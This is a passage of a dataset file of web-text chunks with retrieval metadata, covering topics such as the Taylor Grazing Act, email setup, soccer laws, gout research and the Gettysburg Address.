0.35, "created_at": "2025-12-18T05:22:19.126517"} {"text": "overview. this act was the first federal effort to regulate grazing on federal public lands. it establishes grazing districts and uses a permitting system to manage livestock grazing in the districts. grazing districts. the secretary of the interior ( secretary ) is authorized to establish grazing districts of vacant, unappropriated and unreserved land from any parts of the public domain, excluding alaska, which are not national forests, parks and monuments, indian reservations, railroad grant lands, or revested coos bay wagon road grant lands, and which are valuable chiefly for grazing and raising forage crops. whenever grazing districts are established, the secretary shall grant adjacent landowners, upon application, rights - of - way over the lands for stock - driving purposes to provide access to marketing facilities or to lands not within the district but owned by the person with stock - grazing rights. as adopted in 1934, the act requires that a hearing be held in the state before grazing districts are created. there must be public notice and the location is to be convenient for state officials, settlers, residents and livestock owners of the vicinity. the publication of notice has the effect of withdrawing the lands within the exterior boundary of the proposed district from all forms of entry of settlement pending the hearing. the act does not alter or restrict the right to hunt or fish within a grazing district. \u00a7 315. the secretary must : provide for the protection, administration, regulation and improvement of the grazing districts ; adopt regulations and enter into cooperative agreements necessary to accomplish the purposes of the act ; regulate occupancy and use ; preserve the land and resources from destruction or unnecessary injury ; provide for orderly improvement and development of the range. the secretary may continue the study of erosion and flood control and perform work to protect and rehabilitate areas subject to the act. willful violations of the act, or of its rules and regulations, are punishable by fine. \u00a7 315a. grazing permits. the secretary is authorized to issue permits to graze livestock in grazing districts to settlers, residents and other stock owners upon the annual payment of reasonable fees. permits must be for a period of not more than ten years, with renewal subject to the discretion of the secretary, who shall specify numbers of stock and seasons of use. during periods of range depletion due to severe drought or other natural causes, or during epidemics, the secretary may remit, reduce, refund in whole or part, or postpone payment of grazing fees for the time the emergency exists. grazing privileges must be safeguarded adequately but must not create any right,", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4335591727279332, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.133381"} {"text": "causes, or during epidemics, the secretary may remit, reduce, refund in whole or part, or postpone payment of grazing fees for the time the emergency exists. grazing privileges must be safeguarded adequately but must not create any right, title, interest, or estate in or to the lands. \u00a7 315b. fences, wells, reservoirs and other improvements for the care and management of permitted livestock may be constructed on public lands within grazing districts under permits issued, or cooperative agreements approved, by the secretary. permittees are to comply with state law with respect to the cost and maintenance of partition fences. no permit entitles the permittee to use improvements constructed and owned by a prior occupant until the applicant has paid the prior occupant the reasonable value of the improvements, as determined under the secretary ' s regulations. \u00a7 315c. use of district lands. the secretary must permit free grazing of domestic livestock within districts. nothing in the act is intended to prevent the use of timber, stone, gravel, clay, coal and other deposits by miners, prospectors, settlers and residents. further, the act must not restrict : the acquisition, granting or use of permits or rights - of - way within grazing districts under laws existing before the adoption of the act ; ingress or egress over public lands in these districts ; prospecting, locating, developing, mining, entering, leasing or patenting mineral resources of grazing districts under applicable law. \u00a7 315d and 315e. the secretary is authorized to identify lands which are more valuable or suitable for the production of agricultural crops than for the production of native grasses and forage plants, or more valuable for other uses, and to open these lands to entry, selection or location for disposal, except that tracts for homestead entries may not exceed 320 acres in area. \u00a7 315f. the act directs the secretary to promote cooperation among those interested in the use of the grazing districts, such as local associations of stockmen, state land officials and official state agencies engaged in the conservation or propagation of wildlife. the secretary also must provide for local hearings on appeals from decisions of the administrative officer, and may accept contributions toward the administration, protection and improvement of lands within a grazing district. \u00a7 315h. use of funds received. money received under the act shall be deposited in the u. s. treasury as miscellaneous receipts, except that 12 1 / 2 percent of the money collected from grazing fees shall be paid to the state in which the grazing district is located and 50 percent of the money", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.47280273253690597, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.134396"} {"text": "under the act shall be deposited in the u. s. treasury as miscellaneous receipts, except that 12 1 / 2 percent of the money collected from grazing fees shall be paid to the state in which the grazing district is located and 50 percent of the money collected for the leasing of isolated tracts under \u00a7 315m will be paid to the state in which the leased lands are located. the states ' legislatures are expected to spend the funds for the benefit of the counties in which the districts or leased lands are situated. in addition, when appropriated by congress, 33 1 / 3 percent of grazing fees received from grazing districts on indian lands ceded to the u. s. for disposition under the public land laws are to be paid to the state, to be expended by the state legislature for public schools and roads in the counties in which the grazing lands are located. the other 66 2 / 3 percent is to be deposited to the credit of the indians pending final disposition under applicable laws, treaties or agreements. \u00a7 315i and 315j. leasing. the secretary is authorized to lease for grazing purposes vacant, unappropriated and unreserved lands which are so situated as not to justify inclusion in grazing districts. preference must be given to owners, homesteaders, lessees or other lawful occupants of contiguous land to permit proper use. when public lands are restored from a withdrawal, the secretary may grant a preference right for a grazing lease, license or permit to users of the land for grazing purposes. \u00a7 315m. the secretary may lease, and determine lease rates for, state, county, or private lands valuable for grazing and lying within the exterior boundaries of a grazing district, where the leasing will promote the orderly use of the district and aid in conserving the forage resources. no lease shall run for more than ten years, and grazing fees paid to the u. s. for grazing privileges on the land shall not be less than the rental paid by the u. s. for the land. \u00a7 315m - 1. agency cooperation. the secretary is authorized to cooperate with other federal agencies to carry out the purposes of the act and coordinate range administration, particularly where stock grazes part time in a grazing district and part time in a national forest or other reservation. \u00a7 315k. the president may reserve by proclamation and place under national - forest administration unappropriated public lands lying within watersheds forming a part of the national forests which are best administered with the national forests. similarly, the president can place under interior department administration those national forest lands which", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.43504463246269814, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.135365"} {"text": "where to find your e \u2011 mail account information your e \u2011 mail service provider should provide you with the information you need to sign in to your e \u2011 mail account. if you don \u2019 t have this information available, contact your e \u2011 mail provider. your e \u2011 mail provider is typically your internet service provider ( isp ), but might also be your employer, school, or an independent provider that offers pop3 or imap e \u2011 mail accounts. to set up your e \u2011 mail account, you will need to provide the following information : display name. this is the name you want to appear at the top of your e \u2011 mail messages. this is not provided by your e \u2011 mail provider, and can be any name you choose, such as john smith. you can choose to leave this entry blank. e \u2011 mail address. this is the e \u2011 mail address you chose or were given when you signed up for your e \u2011 mail account, such as firstname. lastname @ example. org. e \u2011 mail server names. mail is stored on your e \u2011 mail provider ' s server until you download it. you ' ll need to know whether your e \u2011 mail provider stores mail on a pop3 or imap server. for more information on e \u2011 mail server types, see pop3, smtp, and other e \u2011 mail server types. you ' ll need the names of both your incoming e \u2011 mail server ( such as pop. example. com ) and outgoing e \u2011 mail server ( such as smtp. example. com ). it ' s also helpful to know if your server requires a user name and password when sending mail in addition to when receiving it. if so, select the outgoing server requires authentication check box when setting up your account. e \u2011 mail username. this is the name you use to sign in to the e \u2011 mail server. for many e \u2011 mail services, this will be your entire e \u2011 mail address ( such as email @ example. com ), but some e \u2011 mail services might use only the portion before the at sign ( @ ), while others might assign a different id for sign - in purposes. password. this is the password you chose or were given when you created your e \u2011 mail account.", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.43828163461456127, "token_count": 457, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.137514"} {"text": "viticulture - n. : the cultivation or culture of grapes enology - n. : a science that deals with wine and wine making the v & e department combines the sciences of viticulture and enology in a single research and teaching unit that encompasses all of the scientific disciplines that impact grape growing and winemaking. for over one hundred years the university of california has maintained an active and productive program in research and education in viticulture and enology. the continuing excellence of the department has enabled california growers and vintners to develop practices that have allowed the golden state to achieve its potential and become a premier wine - producing region. d. r. bennion memorial fellowship david r. bennion was a research scientist at stanford research institute along with his ridge vineyards co - founders, hewitt crane, charles rosen, and howard zeidler. he made wine from their grapes from 1959 - 1970 ; it was in 1967 that bennion left research to pursue his passion as a winemaker on a full time basis. ridge vineyards placed fifth at the 1976 judgement of paris wine tasting. on the 30th anniversary, a retesting was held. in this blind tasting, the us and uk judges ranked ridge monte bello number one among all the wines tasted. bennion spearheaded the drive to have the santa cruz mountains declared an appellation. he was instrumental in bringing the zinfandel grape to prominence in california by searchin...", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.5294877097629902, "token_count": 299, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.139026"} {"text": "mark wilson may 15th, 2011 in advance of my next field trip to israel ( watch this space! ), our highlighted fossil this week is the scleractinian coral microsolena, a genus named by the french naturalist jean vincent felix lamouroux in 1821. the specimen above was collected from the matmor formation in hamakhtesh hagadol in the negev desert. it is callovian in age, specifically the athleta zone. ( i know a lot of details about this area! ) this coral is thus roughly 160 - 165 million years old. scleractinian corals appeared first in the triassic and are the primary coral in today \u2019 s oceans. unlike their extinct paleozoic cousins, scleractinians have skeletons made of aragonite rather than calcite. aragonite is relatively unstable and easily dissolves over geological time. our specimen above has been replaced with the more stable calcite. this means that the exterior is preserved well enough to identify to the genus level, but details in the interior necessary for species determination have been recrystallized beyond recognition. a nice oyster is still attached to the coral surface. oyster shells are made of calcite and so are usually preserved very well. you can also see holes in the coral made by boring bivalves and given the name gastrochaenolites. one of the bivalve borings is in a raised lump of the coral ( center top of the image ). this is reaction tissue built by the coral in response to the invading bivalve, a clear indication that some of the boring took place while the coral was alive. most of the corals in the matmor formation are heavily bored by bivalves. the matmor formation is exposed only in the cavity of hamakhtesh hagadol. here it is about 100 meters thick and consists mostly fossiliferous marls and sponge - coral patch reefs. ( one of the previous fossils of the week is a thecideide brachiopod attached to corals like the one above. ) the matmor sediments were deposited on a shallow marine ramp near the middle jurassic equator. it is this equatorial deposition that makes the matmor such an interesting subject for paleoecological analysis. most other described jurassic faunas are in europe and north america, and they were all formed under more temperate conditions. pandey, d. k., ahmad, f. and fursich, f. t. 2000. middle jurassic sc", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.46501819076421647, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.141725"} {"text": "writing your story \u201c write your story as it needs to be written. write it honestly, and tell it as best you can. i \u2019 m not sure that there are any other rules. not ones that matter. \u201d ~ neil gaiman i borrowed this quote for today \u2019 s post. we all have a story ( stories ) to tell. many of us need to tell this / these stories, especially those of us who consider ourselves writers. although we can tell stories in other mediums, for this post we will focus on writers. writers, especially in the beginning, tend to experiment with ways of telling the stories locked inside them. they have to find their own voice before they can truly share their inmost parts. while imitation is flattering, it does not really help us find ourselves. it merely helps us find who we are not! the thing is that writers tend to have too many rules. grammar rules, their own rules, the rules they perceive from others, etc. fill us with dread as we face the story. we want to do it right, but fear we will do it so wrong! our perfectionism, list of rules, and fear keep us from telling our story or at least help us to procrastinate the telling. mr. gaiman reminds us that telling the story is more important than how we tell it. we can always edit later, but we must get the story down first. the only rules you need are : 1 ) write it honestly. and 2 ) write it the best you can. i think i can handle those two rules. how about you? do you have a story to tell? do you have many stories to tell? have you told them? are you making it harder than it needs to be? in telling stories about my adventures lately with my dad and more, i have begun to realize i have stories to tell and i need to tell them. whether gram, imma, or both have a hand in the process, it needs to happen. will i take my own advice? tune in later to see. - neil gaiman \u2019 s commencement speech ( fensalirfiber. wordpress. com )", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.41960834515429446, "token_count": 438, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.144836"} {"text": "search tags : potomac river while the number of american shad is at a historic low in some areas, the fish that migrate from the ocean to fresh water to spawn every year are making a slow recovery in the potomac river. the potomac river ' s drinking water is safe, but chemicals in the river are raising concerns among water quality experts. ten years after the discovery of the first intersex fish in the potomac river, leading researchers are closing in on the chemicals and sources producing fish with immature eggs in the sex organs of male smallmouth and largemouth bass. the research suggests the cause is not what researchers initially thought - - the flushing of prescription drugs. potomac river fishing guide steve chaconas takes wtop out on the river for a closer look at the health of the fish and the health of the river. blue plains advanced wastewater treatment plant in southeast is the largest plant of its kind anywhere in the world, treating about 370 million gallons of water every day. spring is here and nature is coming alive, but something that should be living in the potomac river is not. a new study finds climate change could cut stream flows in the potomac river basin, a major source of drinking water in the washington region. tags : potomac river authorities are investigating after a man ' s body was pulled from the potomac river near the 14th street bridge.", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.426220301390656, "token_count": 268, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.147407"} {"text": "for those families new to soccer, and those who still feel new regarding the rules, the following \u201c simplified rules of soccer \u201d should be a handy guide through the many years of soccer enjoyment ahead. the information is drawn from publications of the united states soccer federation ( ussf ). in soccer, by - the - way, they are not called rules, but laws. law # 1 the field of play the soccer field ( commonly known as the \u201c pitch \u201d ) should always be rectangular with a maximum length of 130 yards and a minimum length of 100 yards. the width should be a maximum of 100 yards and a minimum of 50 yards. the field must be longer than it is wide. with the proportions correct, junior fields can be smaller depending on the age level. the longer boundary lines are called touch lines, and the shorter boundary lines are called goal lines. a goal is centered on each goal line. law # 2 the ball the ball must be round with a circumference of 27 \u2033 - 28 \u2033 for regulation adult play. the weight should be 14 - 16 oz. this is a \u201c size 5 \u2033 ball. for medium sized children size 4 is often used ( age 7 - 12 ). the circumference is 25 \u2033 - 26 \u2033 and the weight is 12 - 14 oz. for very small children a size 3 ball is often used ( ages 4 - 7 ). the circumference is 23 \u2033 - 25 \u2033 and the weight is 10 - 12 oz. law # 3 number of players in a regulation match, each side is composed of 11 players, with the number of subs to be no more than 3 for competitive matches, or the number agreed to for a \u201c friendly \u201d match. younger youth levels often use fewer players ( u - 7, u - 8 = 7 vs 7 : u - 9, u - 10 = 8 vs 8 ). a player who has been replaced cannot come back into the match. the number of substitutions can be modified for youth play at u16 and below. the substitution part of the law is widely ignored in the u. s. anyway. a complete roster of players and subs must be presented to the referee before the game starts ( player passes are sometimes used instead ). the referee must be notified and must indicate his permission to enter before a substitution can step onto the pitch. players must leave the field before the substitute can enter. any player sent off ( red carded ) may not be replaced and the team must play short for the remainder of the match", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4334031687939942, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.157759"} {"text": "indicate his permission to enter before a substitution can step onto the pitch. players must leave the field before the substitute can enter. any player sent off ( red carded ) may not be replaced and the team must play short for the remainder of the match. law # 4 players \u2019 equipment the usual uniform of the soccer player is a jersey, shorts, calf socks, shin guards and shoes. nothing potentially injurious to another player may be worn. all jewelry is considered dangerous. referees do not have any leeway on jewelry below the highest level of professional play. no jewelry should be allowed, period, in any youth or amateur play. cleats are normally rubber, plastic, aluminum or leather. the goalkeeper must wear a different color than the other members of the team. shin guards must give a reasonable degree of protection. law # 5 the referee the referee is in charge of all game activity and is to make sure each team abides by the laws of the game. he is to stop, suspend, or terminate a match as appropriate. his decisions are final. it is the referee \u2019 s responsibility to keep the game clock, and enforce proper game conduct by players, substitutes and team officials. he can send off players or others who commit an act of misconduct. his authority extends from the time he arrives in the area of the field to the time he leaves the area. cards can only be shown to players and substitutes, and only during the match. other cautions and send offs are done without showing a card, but count the same is if a card had been shown. law # 6 assistant referees there are usually two assistant referees ( ars ), one for each touch line. their main responsibility is to assist the referee by indicating ball out of bounds, offside, corner kicks, and goal kicks ; and to assist in enforcing the laws by indicating fouls the referee cannot see. ars assist the referee by indicating their opinion, but the decision is still the referee \u2019 s, if he saw the event or incident. ars do not have whistles and cannot stop play. when no registered referees are available for this function, club linesmen are used. the referee can only use club linesmen for out of bounds indications. law # 7 game duration u8 games have four 10 minute quarters. u10 games have 25 minute halves, u12 games 30 minute halves, u14 games 35 minute halves, u16 games 40 minute halves, and all higher level games 45 minute halves. the referee is to add time for time wasting, injuries", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.467231838007838, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.158752"} {"text": ". u10 games have 25 minute halves, u12 games 30 minute halves, u14 games 35 minute halves, u16 games 40 minute halves, and all higher level games 45 minute halves. the referee is to add time for time wasting, injuries, substitutions, and any other cause. law # 8 start of play to start play there is a kick off. this happens at the start of the game, halftime and after a goal has been scored. a player standing near the halfway line kicks the ball to a fellow player. opposing players must stay outside the center circle until the ball has been kicked. after the ball is touched and moves forward the game is officially started. the kicker may not touch the ball again until it has been touched by another player. law # 9 ball in and out play after the whole ball completely crosses the touch line or goal line, either on the ground or in the air, it is out of play. any ball striking a referee, goal post, or corner post and remaining on the field is in play. the line itself is in bounds, and the ball is out of play ( or a goal is scored ) only when all of the ball is completely past the outer edge of the line. if any part of the ball is still touching any part of the line ( extended from the ground up into the sky ), it is still in play. law # 10 goal scoring a goal is scored when the whole ball completely crosses the goal line, between the goal posts and under the cross bar. the winner of the game is determined by the most goals scored. law # 11 offside a player is in an offside position if he is nearer to his opponents \u2019 goal line than both the ball and the second - to - last opponent ( counting the keeper, if he is one of the two defenders closest to the goal line ). a player is not offside when in his own half of the field of play. it is not an offense to be in an offside position. the referee is to call an offside infraction only if, in his judgement, the player in an offside position when the ball is played or touched by a teammate interferes with play, interferes with another player, or gains an advantage by being in that position. there is no offside offense if a player receives the ball directly from a goal kick, a throw - in or a corner kick. when offside is called, the defending team is awarded an indirect free kick from where the infringement occurred. law # 12", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45525426960702864, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 2, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.159790"} {"text": "is no offside offense if a player receives the ball directly from a goal kick, a throw - in or a corner kick. when offside is called, the defending team is awarded an indirect free kick from where the infringement occurred. law # 12 fouls and misconduct fouls can only be committed on the field of play ( i. e. inside the boundary lines ) and while the ball is in play. there are two categories of foul, penal and technical. except for handling, penal fouls can only be committed against an opponent. fouls are dealt with by awarding a free kick to the opposing team. misconduct can be an included part of some fouls, or can be unrelated to a foul. misconduct is dealt with by issuing a caution ( yellow card ) or sending the player off ( red card ). a. for penal fouls, the referee awards a direct free kick to the other team from where the infraction occurred : 1. kicking opponent 2. tripping opponent 3. jumping at opponent 4. charging opponent 5. striking opponent 6. pushing opponent 7. making contact with the opponent before the ball when tackling. 8. holding opponent 9. spitting at an opponent 10. deliberately handling ball ( deliberately touching ball with hands or arms from the shoulder on down ) the first six are to be called only if the referee considers that they were done carelessly, recklessly, or with excessive force. a penalty kick is awarded if any of these 10 penal fouls are committed in the offending team \u2019 s own penalty area. b. an indirect free kick shall be awarded when a player commits these technical fouls. the first three can only be committed against an opponent. 1. dangerous play adversely effecting opponent \u2019 s play 2. preventing the opposing goalkeeper from releasing the ball 3. impeding an opponent 4. a goalkeeper taking more than 6 seconds to release the ball while controlling it with his hands 5. wasting time 6. a goalkeeper handling a ball that has been intentionally played with a teammate \u2019 s foot, or thrown in by a teammate, or that he has controlled with the hands and returned to or allowed to fall to the ground. 7. any offense not mentioned above for which play is stopped to caution or send off ( yellow or red card ). c. cautionable offenses : a player is cautioned and shown the yellow card if he commits any of the following seven offenses : 1. is guilty of unsporting behavior 2. shows dissent by word or action 3. persistently infringe", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.44809676966390727, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.160737"} {"text": "c. cautionable offenses : a player is cautioned and shown the yellow card if he commits any of the following seven offenses : 1. is guilty of unsporting behavior 2. shows dissent by word or action 3. persistently infringes the laws of the game 4. delays the restart of play 5. fails to respect the required distance when play is restarted with a kick off, corner kick or free kick 6. enters or re - enters the field of play without the referee \u2019 s permission 7. deliberately leaves the field of play without the referee \u2019 s permission d. sending - off offenses : a player is sent off and shown the red card if he commits any of the following seven offenses : 1. is guilty of serious foul play 2. is guilty of violent conduct 3. spits at an opponent or any other person 4. denies an opponent a goal or an obvious goal - scoring opportunity by deliberately handling the ball ( this does not apply to a goalkeeper within his own penalty area ) 5. denies an obvious goal - scoring opportunity to an opponent moving towards the player \u2019 s goal by an offense punishable by a free kick or a penalty kick 6. uses offensive, insulting or abusive language or gestures 7. receives a second caution ( yellow card ) in the same match the referee is to refrain from calling fouls that are trifling or doubtful, or when stopping play for the foul would give an advantage to the offending team or take one away from the fouled team. law # 13 free kicks the types of free kick awarded by the referee are the : a. direct free kick \u2013 a goal can be scored by kicking the ball directly into the goal b. indirect free kick \u2013 the ball must touch another player before a goal can be scored ; if the ball goes into the goal without being touched by another player, it is just out - of - bounds, and the defensive side gets a goal kick. in either case, the kicker is free to simply pass the ball to a teammate. when a free kick is taken, the opposing team must stay at least 10 yards away from the ball until it is kicked. a team cannot score against itself directly ( i. e. without another player besides the original kicker touching the ball ) on any free kick. any free kick taken from inside the kicker \u2019 s own penalty area cannot be touched by any other player until it has passed outside the penalty area into the playing field. it is not in play until that happens. no opposing player can enter the penalty area until the ball", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4566223422246519, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.163296"} {"text": "taken from inside the kicker \u2019 s own penalty area cannot be touched by any other player until it has passed outside the penalty area into the playing field. it is not in play until that happens. no opposing player can enter the penalty area until the ball has passed out of it. law # 14 penalty kicks a penalty kick is awarded after a penal foul ( law # 12, part a ) takes place in the offending team \u2019 s penalty area. it is a direct kick taken 12 yards from the goal line. all players except the goalie and kicker must stay outside of the penalty area, behind the penalty mark, and at least 10 yards from the ball until it is kicked. the goalie must stand on the goal line and may not move forward off of it until the ball is kicked. law # 15 the throw - in when the ball completely crosses the touch line, a throw - in is awarded to the opponents of the player who last touched the ball, from the point where the ball crossed the line. the ball must be thrown by both hands from behind and over the head. at the moment the thrower releases the ball : a. the thrower must be facing the playing field. b. both feet must be outside or on the touch line. any part of the foot touching the line makes it legal. c. both feet must be touching the ground. on incorrect throws, a throw in is awarded to the opposite team. the thrower may not touch the ball a second time until it has been touched by another player. it is not unusual in youth soccer for the throw to not enter the field, that is, the ball goes up the touch line and never breaks the plane of the outside edge of the line. this doesn \u2019 t count as a throw at all. the thrower just picks it up and throws again. if the referee believes this is intentional and to waste time, he may caution the player and must add on time. law # 16 goal kicks a goal kick is awarded when the ball crosses the goal line but a goal is not scored, and it was last touched by an attacking player. the ball can be kicked from anywhere in the goal area. the ball must travel outside the penalty area into the field of play before it is in play. if it is touched before it leaves the penalty area, the kick is retaken. the attacking team must stay out of the penalty area until the ball is in play. once the ball is in play, the kicker may not touch the ball a second time until it", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.45007397734924526, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.165100"} {"text": "webmd health news brunilda nazario, md nov. 11, 2011 ( chicago ) - - people with gout should make sure their uric acid levels are under control - - even if they ' re not experiencing symptoms of the painful arthritic disorder. \" many people are walking around with uncontrolled uric acid levels and we used to not worry about it - - if they ' re not having symptoms, who cares? \" says eric matteson, md, mph, head of rheumatology at mayo clinic in rochester, minn. but new studies show that high uric acid levels in the blood are associated with a nearly 20 % increased risk of developing diabetes and a more than 40 % increased risk of developing kidney disease. uric acid is a chemical substance that can build up in the blood to a higher than normal level and lead to gout. for the new studies, researchers reviewed the records of about 2, 000 men with gout in a veterans administration database. none had diabetes or kidney disease at the start of the study. eswar krishnan, md, assistant professor of rheumatology at stanford university, presented the findings here at the american college of rheumatology ' s annual meeting. krishnan consults for takeda pharmaceuticals international, which makes a gout medication and funded the study. over a three - year period, 9 % of men with gout who had uncontrolled uric acid levels developed diabetes, compared with 6 % of those whose uric levels were under control. after taking into account other risk factors for diabetes, this corresponded to a 19 % higher risk of diabetes in those with uncontrolled uric acid levels. a blood uric acid level greater than 7 is considered uncontrolled. the risk for an individual person might not be much. but the national institutes of health estimates that 6 million u. s. adults have had gout at some point in their lives, many with uncontrolled uric acid levels. that translates to tens of thousands of people at risk of diabetes and kidney disease, matteson says. a second study, conducted by the same researchers using the same database, showed that over a three - year period men with gout who had uncontrolled uric acid levels had a 40 % greater risk of kidney disease compared to men with controlled uric acid levels. the studies do not prove that uncontrolled uric acid levels cause the health problems but show an association of elevated levels to", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4200910495732041, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.168472"} {"text": "##lled uric acid levels had a 40 % greater risk of kidney disease compared to men with controlled uric acid levels. the studies do not prove that uncontrolled uric acid levels cause the health problems but show an association of elevated levels to these health problems. \" gout is a vastly undertreated disease, \" matteson says. \" now we ' re finding that elevated uric acid, by itself, even if you have no gout, is associated with higher rates of heart attack, metabolic syndrome, diabetes, even death due to cardiovascular disease. \" still, it would be advisable to get uric acid levels under control, through diet or medication, he says. most importantly, maintain a healthy weight, matteson says. obesity is a major risk factor for all these conditions. these findings were presented at a medical conference. they should be considered preliminary as they have not yet undergone the \" peer review \" process, in which outside experts scrutinize the data prior to publication in a medical journal. sources : american college of rheumatology ' s 75th annual scientific meeting, chicago, nov. 4 - 9, 2011. eric matteson, md, mph, head of rheumatology, mayo clinic, rochester, minn. eswar krishnan, md, assistant professor of rheumatology, stanford university, palo alto, calif. the health news section does not provide medical advice, diagnosis or treatment. see additional information.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4109796659006522, "token_count": 302, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.169038"} {"text": "8. we ' re all americans. it took the war between the states to make us one nation, indivisible. before 1861, the united states were loosely tied entities and always described as a plural noun, as in, \" the united states are in trade with france. \" the war ' s bloodiest battle came at gettysburg in 1863, with 51, 000 casualties in just three days. although the union stopped confederate gen. robert e. lee ' s northern invasion, young men ' s bodies littered the farms and gardens that had turned into a battleground. was the preservation of these united states worth the cost in blood? at a memorial for the dead, lincoln intentionally called on the union to persevere for a single national ideal : \" [ t ] hat we here highly resolve that these dead shall not have died in vain \u2014 that this nation, under god, shall have a new birth of freedom \u2014 and that government of the people, by the people, for the people, shall not perish from the earth. \" the effect of lincoln ' s gettysburg address, just 272 words from beginning to end, was radical and immediate. \" by accepting the gettysburg address, its concept of a single people dedicated to a proposition, we have been changed, \" wills writes. \" because of it, we live in a different america. \" but the shift was more than a statesman ' s creation. it was also forged in the experience of hunger, disease, blood and death shared for four years by the union and confederacy alike. tellingly, the tradition of civil war reenactments began even before the conflict had ended, as returning soldiers recreated battlefield scenes at home to educate the citizenry and pay tribute to their fallen comrades. ken and ric burns, in their introduction to the book the civil war, write : \" some events so pervasively condition the life of a culture that they retain the power to fascinate permanently. they become the focus of myth and the anchor of meaning for a whole society. \" the civil war became our anchor. ever since, whether big government or small government, whether doves or hawks, black or white, we have all been one thing : americans. betsy towner lives in california.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4379426112517616, "token_count": 451, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.172159"} {"text": "information contained on this page is provided by newsusa, an independent third - party content provider. worldnow and this station make no warranties or representations in connection therewith. / american society of mechanical engineers ) - although the change is gradual, the u. s. is gaining ground on a more sustainable future. energy experts and environmentalists can argue it ' s not occurring fast enough, but from transportation to engineering, improvements are being made. the prius is toyota ' s third most popular car. each year brings a new round of hybrid vehicles, making over 30 different hybrid cars at the start of 2012. eco - friendly building options are becoming more affordable, and alternative fuels are being put to use. for instance, green mountain college in vermont operates off a biomass plant that heats the entire campus using green woodchips, a local, renewable and sustainable fuel source. more city engineers are adding bike lanes and wider streets as commuter biking grows in popularity. in fact, each year the american society of mechanical engineers ( asme ) holds a human powered vehicle challenge where top engineering students design sleek pedal - powered vehicles capable of road use. by creating new prototypes for a road - friendly, human - powered vehicle, these engineering students are working toward a sustainable world. eventually, many engineers think further developments in human - powered vehicles could lead to a transportation alternative that will reduce the consumption of traditional fuels. according to a comparison calculation by business insider using data from copenhagen ' s huge cycling community, we would add $ 46 million to the economy if the same number of americans biked to work. the coming generations of engineers have a large burden on their shoulders to compete in the global market and thrive in a technology - driven workforce. plus, demand for high - tech, high - wage engineering jobs is only growing. a study by georgetown university center on education and the workforce noted that 8 million american jobs will require a degree in science, technology, engineering and mathematics ( stem ) by 2018. for aerospace, agricultural, mechanical, civil and electrical engineers, environmental protection and preservation are central to the job. with each year ' s human powered vehicle competition, asme is grooming the next generation of engineers to be innovative, socially conscious and forward - thinking. for more information, visit www. asme. org", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.5331465986973005, "token_count": 461, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:19.174512"} {"text": "middle micron fibre or fibre of 19 to 22 micron ~ a review the term middle micron fibre was coined to cover fibre which falls outside generally accepted definitions of cashmere and mohair. the large bulk of the merino wool clip falls within the 19 to 22 micron range, yet the quantities of goat fibre in this range are relatively small. a number of attempts to characterise or promote this fibre or 